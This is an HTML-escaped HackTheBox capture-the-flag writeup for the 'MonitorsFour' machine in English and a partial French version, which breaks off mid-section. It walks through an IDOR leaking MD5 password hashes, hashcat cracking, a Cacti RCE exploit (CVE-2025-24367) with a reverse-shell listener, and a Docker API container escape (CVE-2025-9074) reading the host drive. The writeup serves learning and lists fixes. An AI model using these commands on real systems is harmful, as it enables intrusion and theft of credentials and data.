&lt;p&gt;The developer wrote &lt;code&gt;if ($token)&lt;/code&gt; instead of &lt;code&gt;if ($token !== null)&lt;/code&gt;. In PHP, the value &lt;code&gt;0&lt;/code&gt; is &lt;strong&gt;falsy&lt;/strong&gt; — &lt;code&gt;if(0)&lt;/code&gt; evaluates to false. Passing &lt;code&gt;token=0&lt;/code&gt; falls into the &lt;code&gt;else&lt;/code&gt; branch and returns the entire table.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is an IDOR&lt;/strong&gt; (&lt;em&gt;Insecure Direct Object Reference&lt;/em&gt;) combined with a falsy value logic flaw. Key takeaway: always test &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, empty string, &lt;code&gt;null&lt;/code&gt; on any identification parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=0"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Marcus Higgins"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mwatson"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"69196959c16b26ef00b77d82cf6eb169"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Michael Watson"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. MD5 Hash Cracking
&lt;/h2&gt;

&lt;p&gt;The hashes are &lt;strong&gt;unsalted MD5&lt;/strong&gt; — trivial to crack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On Mac with native Hashcat (M5 GPU via Metal)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"56b32eb43e6f15395f6c46c1c9e1cd36"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hashes.txt
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 0 hashes.txt ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;56b32eb43e6f15395f6c46c1c9e1cd36&lt;/code&gt; → &lt;code&gt;wonderful1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why MD5 is dangerous:&lt;/strong&gt; Unsalted MD5 can be cracked in seconds on a modern GPU. Identical passwords always produce identical hashes, and rainbow tables cover most common passwords.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Cacti Access — CVE-2025-24367 (Authenticated RCE)
&lt;/h2&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://cacti.monitorsfour.htb/cacti/&lt;/code&gt; — the version is displayed at the bottom: &lt;strong&gt;Cacti 1.2.28&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential subtlety:&lt;/strong&gt; The API username is &lt;code&gt;admin&lt;/code&gt;, but the full name is &lt;em&gt;Marcus Higgins&lt;/em&gt;. Cacti uses the first name as the login identifier → authenticate with &lt;code&gt;marcus&lt;/code&gt; / &lt;code&gt;wonderful1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-24367:&lt;/strong&gt; Cacti 1.2.28 is vulnerable to an authenticated RCE. The exploit abuses the graphs/templates feature to generate a PHP file in the webroot and then trigger it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# T1 — Listener&lt;/span&gt;
penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 9001

&lt;span class="c"&gt;# T4 — Exploit&lt;/span&gt;
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24367-Cacti-PoC
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 exploit.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-url&lt;/span&gt; http://cacti.monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-u&lt;/span&gt; marcus &lt;span class="nt"&gt;-p&lt;/span&gt; wonderful1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$ME&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 9001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shell obtained:&lt;/strong&gt; &lt;code&gt;www-data&lt;/code&gt; inside a Docker container.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrqybok6tthfd9kqndmd.png" alt=" " width="630" height="346"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Post-exploitation — Inside the container
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;        &lt;span class="c"&gt;# uid=33(www-data)&lt;/span&gt;
&lt;span class="nb"&gt;hostname&lt;/span&gt;  &lt;span class="c"&gt;# 821fbd6a43fa  ← short hash = Docker container ID&lt;/span&gt;
ip addr   &lt;span class="c"&gt;# 172.18.0.3/16 on eth0&lt;/span&gt;
ip route  &lt;span class="c"&gt;# default via 172.18.0.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/marcus/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj21lbhk5lq9a7jr20tz.png" alt=" " width="499" height="53"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Container Escape — CVE-2025-9074 (Unauthenticated Docker API)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Context:&lt;/strong&gt; Docker Desktop on Windows exposes its REST API on &lt;code&gt;192.168.65.7:2375&lt;/code&gt; without authentication. CVE-2025-9074 documents exactly this exposure: Linux containers can reach this endpoint and interact with the Windows host's Docker Engine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://192.168.65.7:2375/version
&lt;span class="c"&gt;# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Docker Desktop + WSL2, the &lt;code&gt;C:\&lt;/code&gt; Windows drive is exposed under &lt;code&gt;/mnt/host/c&lt;/code&gt;. We create a container that mounts this path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://192.168.65.7:2375/containers/create &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/response.json

&lt;span class="nv"&gt;cid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"Id":"[^"]*"'&lt;/span&gt; /tmp/response.json | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="nt"&gt;-f4&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.65.7:2375/containers/&lt;span class="nv"&gt;$cid&lt;/span&gt;/start
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://192.168.65.7:2375/containers/&lt;/span&gt;&lt;span class="nv"&gt;$cid&lt;/span&gt;&lt;span class="s2"&gt;/logs?stdout=true"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffoiqbwc9u4jgg74q92nc.png" alt=" " width="617" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root flag obtained.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IDOR token=0
    → MD5 hash leaked (admin / marcus)
        → Hashcat → wonderful1
            → Cacti login (marcus:wonderful1)
                → CVE-2025-24367 → RCE → www-data shell
                    → Docker container (172.18.0.3)
                        → Docker API 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🛡️ How to Fix These Vulnerabilities
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR + falsy logic on &lt;code&gt;/user?token=&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Replace &lt;code&gt;if ($token)&lt;/code&gt; with &lt;code&gt;if ($token !== null &amp;amp;&amp;amp; $token !== '')&lt;/code&gt;. Add mandatory authentication on all API endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Unsalted MD5 hashes
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Use &lt;code&gt;password_hash()&lt;/code&gt; in PHP (bcrypt by default) or Argon2id. Never store MD5/SHA1 for passwords.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Cacti 1.2.28 — CVE-2025-24367
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Update Cacti. Restrict access by IP. Apply the principle of least privilege.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Unauthenticated Docker API — CVE-2025-9074
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Disable "Expose daemon on tcp://localhost:2375 without TLS". If TCP is required → TLS + mutual certificates. Isolate containers on dedicated networks.&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Test falsy values&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, &lt;code&gt;""&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;) on any identification parameter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't give up on vhost fuzzing too early&lt;/strong&gt; — &lt;code&gt;cacti&lt;/code&gt; was the real attack surface.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read HTTP headers&lt;/strong&gt; — &lt;code&gt;X-Powered-By: PHP/8.3.27&lt;/code&gt; + &lt;code&gt;PHPSESSID&lt;/code&gt; reveal the tech stack from the very first curl.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;nginx on Windows = likely containerization&lt;/strong&gt; — TTL 127 + nginx = strong Docker Desktop signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated Docker API = immediate root&lt;/strong&gt; — reaching port 2375 from a compromised container is game over.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;📺 Watch the video walkthrough: &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;YouTube WhyShell&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-7b1"&gt;🇫🇷 Version française&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>security</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HTB — MonitorsFour | Writeup Fr</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Mon, 25 May 2026 18:08:55 +0000</pubDate>
      <link>https://dev.to/whyshell/htb-monitorsfour-writeup-7b1</link>
      <guid>https://dev.to/whyshell/htb-monitorsfour-writeup-7b1</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-381k"&gt;🇬🇧 English version&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plateforme&lt;/strong&gt; : HackTheBox | &lt;strong&gt;Difficulté&lt;/strong&gt; : Easy | &lt;strong&gt;OS&lt;/strong&gt; : Windows (Docker Desktop / WSL2)&lt;br&gt;
&lt;strong&gt;Machine :&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/machines/MonitorsFour" rel="noopener noreferrer"&gt;HTB — MonitorsFour&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Chaîne&lt;/strong&gt; : IDOR → Hash cracking → Cacti RCE → Docker escape&lt;/p&gt;


&lt;h2&gt;
  
  
  🗺️ Vue d'ensemble
&lt;/h2&gt;

&lt;p&gt;MonitorsFour est une box Windows qui cache la quasi-totalité de sa surface d'attaque derrière une application web PHP et une infrastructure conteneurisée. Le chemin se déroule en quatre actes : une faille de logique sur une API expose des credentials, ceux-ci permettent de s'authentifier sur un service de monitoring vulnérable à une RCE, le shell obtenu atterrit dans un conteneur Docker, et l'évasion finale passe par l'API Docker exposée sans authentification sur le réseau interne.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP nginx&lt;/td&gt;
&lt;td&gt;Redirige vers &lt;code&gt;monitorsfour.htb&lt;/code&gt; — virtual hosting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985&lt;/td&gt;
&lt;td&gt;WinRM (Microsoft HTTPAPI)&lt;/td&gt;
&lt;td&gt;Accès shell Windows si creds valides&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi c'est important :&lt;/strong&gt; La combinaison nginx + WinRM sur une box Windows est un signal classique de conteneurisation. nginx tourne typiquement sous Linux — ici, il est dans un conteneur Docker Desktop sur l'hôte Windows. Le port 5985 est le vrai WinRM Windows. Cette observation aurait dû alerter dès le départ.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Enumération Web
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Découverte du sous-domaine
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/combined_subdomains.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.monitorsfour.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-ac&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-s&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;fuzz.txt
&lt;span class="c"&gt;# cacti&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" alt=" " width="402" height="357"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb cacti.monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Pourquoi chercher les vhosts :&lt;/strong&gt; Un seul serveur peut héberger plusieurs sites selon le nom de domaine dans l'en-tête HTTP &lt;code&gt;Host:&lt;/code&gt;. La box utilise déjà le virtual hosting (la redirection IP → nom de domaine le trahit), donc il existe probablement d'autres sites cachés derrière la même IP. &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt; s'avère être le vrai vecteur d'entrée.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumération des endpoints
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-e&lt;/span&gt; .php &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="nt"&gt;-ic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Route&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Page de login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/forgot-password&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Reset de mot de passe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Endpoint API — 35 octets de réponse&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/static&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;301&lt;/td&gt;
&lt;td&gt;Assets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/controllers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403&lt;/td&gt;
&lt;td&gt;Code source inaccessible directement&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Missing token parameter"}&lt;/span&gt;

curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=test"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Invalid or missing token"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. IDOR — Fuite des credentials via token=0
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;La faille :&lt;/strong&gt; L'endpoint &lt;code&gt;/user?token=&lt;/code&gt; valide un identifiant d'utilisateur. Le code du contrôleur fait (en pseudo-code) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// token valide → un user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_all_users&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;    &lt;span class="c1"&gt;// sinon → TOUS les users&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Le développeur a écrit &lt;code&gt;if ($token)&lt;/code&gt; au lieu de &lt;code&gt;if ($token !== null)&lt;/code&gt;. En PHP, la valeur &lt;code&gt;0&lt;/code&gt; est &lt;strong&gt;falsy&lt;/strong&gt; — &lt;code&gt;if(0)&lt;/code&gt; est faux. Passer &lt;code&gt;token=0&lt;/code&gt; tombe dans le &lt;code&gt;else&lt;/code&gt; et renvoie la table entière.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C'est une IDOR&lt;/strong&gt; (&lt;em&gt;Insecure Direct Object Reference&lt;/em&gt;) combinée à une faille de logique sur les valeurs falsy. À retenir : tester systématiquement &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;-1&lt;/code&gt;, chaîne vide, &lt;code&gt;null&lt;/code&gt; sur tout paramètre d'identification.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=0"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
